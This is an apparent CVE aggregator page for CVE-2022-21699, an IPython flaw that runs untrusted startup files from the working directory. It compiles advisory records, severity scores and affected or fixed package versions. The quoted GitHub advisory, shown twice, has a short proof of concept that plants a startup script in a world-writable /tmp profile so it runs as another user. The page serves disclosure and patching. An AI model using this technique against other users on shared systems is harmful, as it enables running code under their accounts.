Every CVE Search/ Get API key

CVE-2022-21699

Execution with Unnecessary Privileges in ipython

8.2 HighFix available

IPython (Interactive Python) is a command shell for interactive computing in multiple programming languages, originally developed for the Python programming language. Affected versions are subject to an arbitrary code execution vulnerability achieved by not properly managing cross user temporary files. This vulnerability allows one user to run code as another on the same machine. All users are advised to upgrade.

Attack profile

How easy it is to exploit

Attack vector
Local
Complexity
Low
Privileges needed
Low
User interaction
Required

What an attacker can affect

Confidentiality
High
Integrity
High
Availability
High

Exploit likelihood

0.65%Down 0.7 points since Feb 8, 2022
90%50%10%1%

What each source reports

CVE List Score used 8.2

Execution with Unnecessary Privileges in ipython

IPython (Interactive Python) is a command shell for interactive computing in multiple programming languages, originally developed for the Python programming language. Affected versions are subject to an arbitrary code execution vulnerability achieved by not properly managing cross user temporary files. This vulnerability allows one user to run code as another on the same machine. All users are advised to upgrade.

Record
CVE-2022-21699
CVSS 3.1
8.2 HighCVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H
Weakness
CWE-250, CWE-279
Updated
2026-11-02
EUVDEUVD-2022-0126 8.2

IPython (Interactive Python) is a command shell for interactive computing in multiple programming languages, originally developed for the Python programming language. Affected versions are subject to an arbitrary code execution vulnerability achieved by not properly managing cross user temporary files. This vulnerability allows one user to run code as another on the same machine. All users are advised to upgrade.

Record
EUVD-2022-0126
CVSS 3.1
8.2 HighCVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H
Updated
2026-11-02
GitHub AdvisoriesGHSA-pq7m-3gw7-gq5x 8.5

Execution with Unnecessary Privileges in ipython

We’d like to disclose an arbitrary code execution vulnerability in IPython that stems from IPython executing untrusted files in CWD. This vulnerability allows one user to run code as another.

Proof of concept

User1:

mkdir -m 777 /tmp/profile_default
mkdir -m 777 /tmp/profile_default/startup
echo 'print("stealing your private secrets")' > /tmp/profile_default/startup/foo.py

User2:

cd /tmp
ipython

User2 will see:

Python 3.9.7 (default, Oct 25 2021, 01:04:21)
Type 'copyright', 'credits' or 'license' for more information
IPython 7.29.0 -- An enhanced Interactive Python. Type '?' for help.
stealing your private secrets

Patched release and documentation

See https://ipython.readthedocs.io/en/stable/whatsnew/version8.html#ipython-8-0-1-cve-2022-21699,

Version 8.0.1, 7.31.1 for current Python version are recommended. Version 7.16.3 has also been published for Python 3.6 users, Version 5.11 (source only, 5.x branch on github) for older Python versions.

Record
GHSA-pq7m-3gw7-gq5x
CVSS 4.0
8.5 HighCVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:A/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:P
CVSS 3.1
8.2 HighCVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H
Weakness
CWE-250, CWE-269, CWE-279
Updated
2026-11-02
NVD 8.2

IPython (Interactive Python) is a command shell for interactive computing in multiple programming languages, originally developed for the Python programming language. Affected versions are subject to an arbitrary code execution vulnerability achieved by not properly managing cross user temporary files. This vulnerability allows one user to run code as another on the same machine. All users are advised to upgrade.

Record
CVE-2022-21699
CVSS 3.1
8.2 HighCVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H
CVSS 3.1
8.8 HighCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
CVSS 2.0
4.6 MediumAV:L/AC:L/Au:N/C:P/I:P/A:P
Weakness
CWE-250, CWE-279, CWE-269
Updated
2026-11-02
OSVALPINE-CVE-2022-21699 8.8

IPython (Interactive Python) is a command shell for interactive computing in multiple programming languages, originally developed for the Python programming language. Affected versions are subject to an arbitrary code execution vulnerability achieved by not properly managing cross user temporary files. This vulnerability allows one user to run code as another on the same machine. All users are advised to upgrade.

Record
ALPINE-CVE-2022-21699
CVSS 3.1
8.8 HighCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
Updated
2026-11-03
OSVAZL-109526 8.8

CVE-2022-21699 affecting package python-py 1.11.0-1

IPython (Interactive Python) is a command shell for interactive computing in multiple programming languages, originally developed for the Python programming language. Affected versions are subject to an arbitrary code execution vulnerability achieved by not properly managing cross user temporary files. This vulnerability allows one user to run code as another on the same machine. All users are advised to upgrade.

Record
AZL-109526
CVSS 3.1
8.8 HighCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
Updated
2026-11-02
Show 11 moreShow less
OSV 8.2

Execution with Unnecessary Privileges in ipython

IPython (Interactive Python) is a command shell for interactive computing in multiple programming languages, originally developed for the Python programming language. Affected versions are subject to an arbitrary code execution vulnerability achieved by not properly managing cross user temporary files. This vulnerability allows one user to run code as another on the same machine. All users are advised to upgrade.

Record
CVE-2022-21699
CVSS 3.1
8.2 HighCVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H
Weakness
CWE-250, CWE-279
Updated
2026-11-02
OSVDEBIAN-CVE-2022-21699 8.8

IPython (Interactive Python) is a command shell for interactive computing in multiple programming languages, originally developed for the Python programming language. Affected versions are subject to an arbitrary code execution vulnerability achieved by not properly managing cross user temporary files. This vulnerability allows one user to run code as another on the same machine. All users are advised to upgrade.

Record
DEBIAN-CVE-2022-21699
CVSS 3.1
8.8 HighCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
Updated
2026-11-03
OSVGHSA-pq7m-3gw7-gq5x 8.5

Execution with Unnecessary Privileges in ipython

We’d like to disclose an arbitrary code execution vulnerability in IPython that stems from IPython executing untrusted files in CWD. This vulnerability allows one user to run code as another.

Proof of concept

User1:

mkdir -m 777 /tmp/profile_default
mkdir -m 777 /tmp/profile_default/startup
echo 'print("stealing your private secrets")' > /tmp/profile_default/startup/foo.py

User2:

cd /tmp
ipython

User2 will see:

Python 3.9.7 (default, Oct 25 2021, 01:04:21)
Type 'copyright', 'credits' or 'license' for more information
IPython 7.29.0 -- An enhanced Interactive Python. Type '?' for help.
stealing your private secrets

Patched release and documentation

See https://ipython.readthedocs.io/en/stable/whatsnew/version8.html#ipython-8-0-1-cve-2022-21699,

Version 8.0.1, 7.31.1 for current Python version are recommended. Version 7.16.3 has also been published for Python 3.6 users, Version 5.11 (source only, 5.x branch on github) for older Python versions.

Record
GHSA-pq7m-3gw7-gq5x
CVSS 4.0
8.5 HighCVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:A/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:P
CVSS 3.1
8.2 HighCVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H
Weakness
CWE-250, CWE-269, CWE-279
Updated
2026-11-02
OSVUBUNTU-CVE-2022-21699 8.2

IPython (Interactive Python) is a command shell for interactive computing in multiple programming languages, originally developed for the Python programming language. Affected versions are subject to an arbitrary code execution vulnerability achieved by not properly managing cross user temporary files. This vulnerability allows one user to run code as another on the same machine. All users are advised to upgrade.

Record
UBUNTU-CVE-2022-21699
CVSS 3.1
8.2 HighCVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H
CVSS 3.1
8.8 HighCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
Updated
2026-11-02
OSVMGASA-2023-0058 No score

Updated ipython packages fix security vulnerability

Executed config files from the current working directory, which could result in cross-user attacks if run from a directory multiple users may write to. (CVE-2022-21699)

Record
MGASA-2023-0058
Updated
2026-11-02
OSVopenSUSE-SU-2022:10043-1 No score

Security update for python-ipython

This update for python-ipython fixes the following issues:

  • CVE-2022-21699: Confining executed process to have limited privileges. (boo#1194936).
Record
openSUSE-SU-2022:10043-1
Updated
2026-11-02
OSVopenSUSE-SU-2024:11763-1 No score

python310-ipython-8.0.1-1.1 on GA media

These are all security issues fixed in the python310-ipython-8.0.1-1.1 package on the GA media of openSUSE Tumbleweed.

Record
openSUSE-SU-2024:11763-1
Updated
2026-11-02
OSVopenSUSE-SU-2024:11995-1 No score

spyder-5.3.0-1.1 on GA media

These are all security issues fixed in the spyder-5.3.0-1.1 package on the GA media of openSUSE Tumbleweed.

Record
openSUSE-SU-2024:11995-1
Updated
2026-11-02
OSVopenSUSE-SU-2025:14718-1 No score

python311-ipython-8.31.0-1.1 on GA media

These are all security issues fixed in the python311-ipython-8.31.0-1.1 package on the GA media of openSUSE Tumbleweed.

Record
openSUSE-SU-2025:14718-1
Updated
2026-11-02
OSVPYSEC-2022-12 No score

IPython (Interactive Python) is a command shell for interactive computing in multiple programming languages, originally developed for the Python programming language. Affected versions are subject to an arbitrary code execution vulnerability achieved by not properly managing cross user temporary files. This vulnerability allows one user to run code as another on the same machine. All users are advised to upgrade.

Record
PYSEC-2022-12
Updated
2026-11-02
OSVUSN-5953-1 No score

ipython vulnerabilities

It was discovered that IPython incorrectly processed REST API POST requests. An attacker could possibly use this issue to launch a cross-site request forgery (CSRF) attack and leak user's sensitive information. This issue only affected Ubuntu 14.04 ESM. (CVE-2015-5607)

It was discovered that IPython did not properly manage cross user temporary files. A local attacker could possibly use this issue to execute arbitrary code. This issue only affected Ubuntu 18.04 ESM and Ubuntu 20.04 ESM. (CVE-2022-21699)

Record
USN-5953-1
Updated
2026-11-02

Affected products

Affected packages

Affected packages
PackageAffectedFixed
ipython
PyPI
before 5.11
5.11
ipython
PyPI
6.0.0 up to 7.16.3
7.16.3
ipython
PyPI
7.17.0 up to 7.31.1
7.31.1
ipython
PyPI
8.0.0 up to 8.0.1
8.0.1
ipython
Alpine:v3.16
6.0.0 up to 7.31.1-r0
7.31.1-r0
ipython
Alpine:v3.17
6.0.0 up to 7.31.1-r0
7.31.1-r0
ipython
Alpine:v3.18
6.0.0 up to 7.31.1-r0
7.31.1-r0
ipython
Alpine:v3.19
6.0.0 up to 7.31.1-r0
7.31.1-r0
ipython
Alpine:v3.20
6.0.0 up to 7.31.1-r0
7.31.1-r0
ipython
Alpine:v3.21
6.0.0 up to 7.31.1-r0
7.31.1-r0
Show 27 moreShow less
Affected packages
PackageAffectedFixed
ipython
Alpine:v3.22
6.0.0 up to 7.31.1-r0
7.31.1-r0
ipython
Alpine:v3.23
6.0.0 up to 7.31.1-r0
7.31.1-r0
ipython
Alpine:v3.24
6.0.0 up to 7.31.1-r0
7.31.1-r0
python-py
Azure Linux:3
through 1.11.0-1 None known
ipython
Debian:12
before 7.31.1-1
7.31.1-1
ipython
Debian:13
before 7.31.1-1
7.31.1-1
ipython
Debian:14
before 7.31.1-1
7.31.1-1
ipython
Debian:9
before 5.1.0-3+deb9u1, plus listed versions
5.1.0-3
5.1.0-3+deb9u1
ipython
Debian:10
before 5.8.0-1+deb10u1, plus listed versions
5.8.0-1
5.8.0-1+deb10u1
ipython
Debian:11
before 7.20.0-1+deb11u1, plus listed versions
7.20.0-1
7.20.0-1+deb11u1
ipython
PyPI
before 5.11, plus listed versions
0.100.10.10.10.20.110.12
Show 45 moreShow less
0.12.10.130.13.10.13.20.6.100.6.110.6.120.6.130.6.140.6.150.6.40.6.50.6.60.6.70.6.80.6.90.7.00.7.10.7.1.fix10.7.20.7.30.7.4.svn.r20100.8.00.8.10.8.20.8.30.8.40.90.9.11.0.01.1.01.2.01.2.12.0.02.1.02.2.02.3.02.3.12.4.02.4.13.0.03.1.03.2.03.2.13.2.2
5.11
ipython
PyPI
6.0.0 up to 7.16.3, plus listed versions
6.1.06.2.06.2.16.3.06.3.1
Show 29 moreShow less
6.4.06.5.07.0.07.0.0b17.0.0rc17.0.17.1.07.1.17.10.07.10.17.10.27.11.07.11.17.12.07.13.07.14.07.15.07.16.07.16.17.16.27.2.07.3.07.4.07.5.07.6.07.6.17.7.07.8.07.9.0
7.16.3
ipython
PyPI
7.17.0 up to 7.31.1, plus listed versions
7.18.07.18.17.19.07.20.07.21.0
Show 13 moreShow less
7.22.07.23.07.23.17.24.07.24.17.25.07.26.07.27.07.28.07.29.07.30.07.30.17.31.0
7.31.1
ipython
Mageia:8
before 7.31.1-1.mga8
7.31.1-1.mga8
ipython
PyPI
before 6.0.0rc1, 6.0.0 up to 7.16.3, 7.17.0 up to 7.31.1, 8.0.0 up to 8.0.1, plus listed versions
0.100.10.10.10.20.110.12
Show 45 moreShow less
0.12.10.130.13.10.13.20.6.100.6.110.6.120.6.130.6.140.6.150.6.40.6.50.6.60.6.70.6.80.6.90.7.00.7.10.7.1.fix10.7.20.7.30.7.4.svn.r20100.8.00.8.10.8.20.8.30.8.40.90.9.11.0.01.1.01.2.01.2.12.0.02.1.02.2.02.3.02.3.12.4.02.4.13.0.03.1.03.2.03.2.13.2.2
6.0.0rc17.16.37.31.18.0.1
ipython
Ubuntu:Pro:14.04:LTS
All versions, plus listed versions
0.13.2-21.1.0-11.2.0~rc1-11.2.1-21.2.1-2ubuntu0.1~esm1
None known
ipython
Ubuntu:Pro:16.04:LTS
All versions, plus listed versions
2.3.0-2ubuntu12.3.0-2ubuntu22.4.1-12.4.1-1ubuntu0.1~esm2
None known
ipython
Ubuntu:Pro:18.04:LTS
before 5.5.0-1ubuntu0.1~esm1, plus listed versions
5.1.0-35.5.0-1
5.5.0-1ubuntu0.1~esm1
ipython
Ubuntu:Pro:20.04:LTS
before 7.13.0-1ubuntu0.1~esm1, plus listed versions
5.8.0-15.8.0-1build15.8.0-27.12.0-17.13.0-1
7.13.0-1ubuntu0.1~esm1
ipython
Ubuntu:Pro:14.04:LTS
From an advisory covering 2 CVEs
before 1.2.1-2ubuntu0.1~esm1, plus listed versions
0.13.2-21.1.0-11.2.0~rc1-11.2.1-2
1.2.1-2ubuntu0.1~esm1
ipython
Ubuntu:Pro:18.04:LTS
From an advisory covering 2 CVEs
before 5.5.0-1ubuntu0.1~esm1, plus listed versions
5.1.0-35.5.0-1
5.5.0-1ubuntu0.1~esm1
ipython
Ubuntu:Pro:20.04:LTS
From an advisory covering 2 CVEs
before 7.13.0-1ubuntu0.1~esm1, plus listed versions
5.8.0-15.8.0-1build15.8.0-27.12.0-17.13.0-1
7.13.0-1ubuntu0.1~esm1
python-ipython
SUSE:Package Hub 15 SP3
before 7.13.0-bp153.2.6.1
7.13.0-bp153.2.6.1
python-ipython-test
SUSE:Package Hub 15 SP3
before 7.13.0-bp153.2.6.6
7.13.0-bp153.2.6.6
python-ipython
openSUSE:Leap 15.3
before 7.13.0-bp153.2.6.1
7.13.0-bp153.2.6.1
python-ipython-test
openSUSE:Leap 15.3
before 7.13.0-bp153.2.6.6
7.13.0-bp153.2.6.6
python-ipython
openSUSE:Tumbleweed
before 8.31.0-1.1
8.31.0-1.1

History

History
RecordedChangedSources
affected, factsOSV
affected, aliases, referencesOSV
first indexedCVE List, EUVD, GitHub Advisories, NVD, OSV

Dates are when Every CVE recorded each change. Upstream dates may differ.

In short

CVE-2022-21699 is a high vulnerability (CVSS 8.2) in Ipython, published January 19, 2022. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.65%, the 51st percentile. Fixed in ipython 5.11.

References

Show 26 moreShow less
This page doesn't list everything

Left out here: 118 versions. The JSON record has them.

MoveEnter Open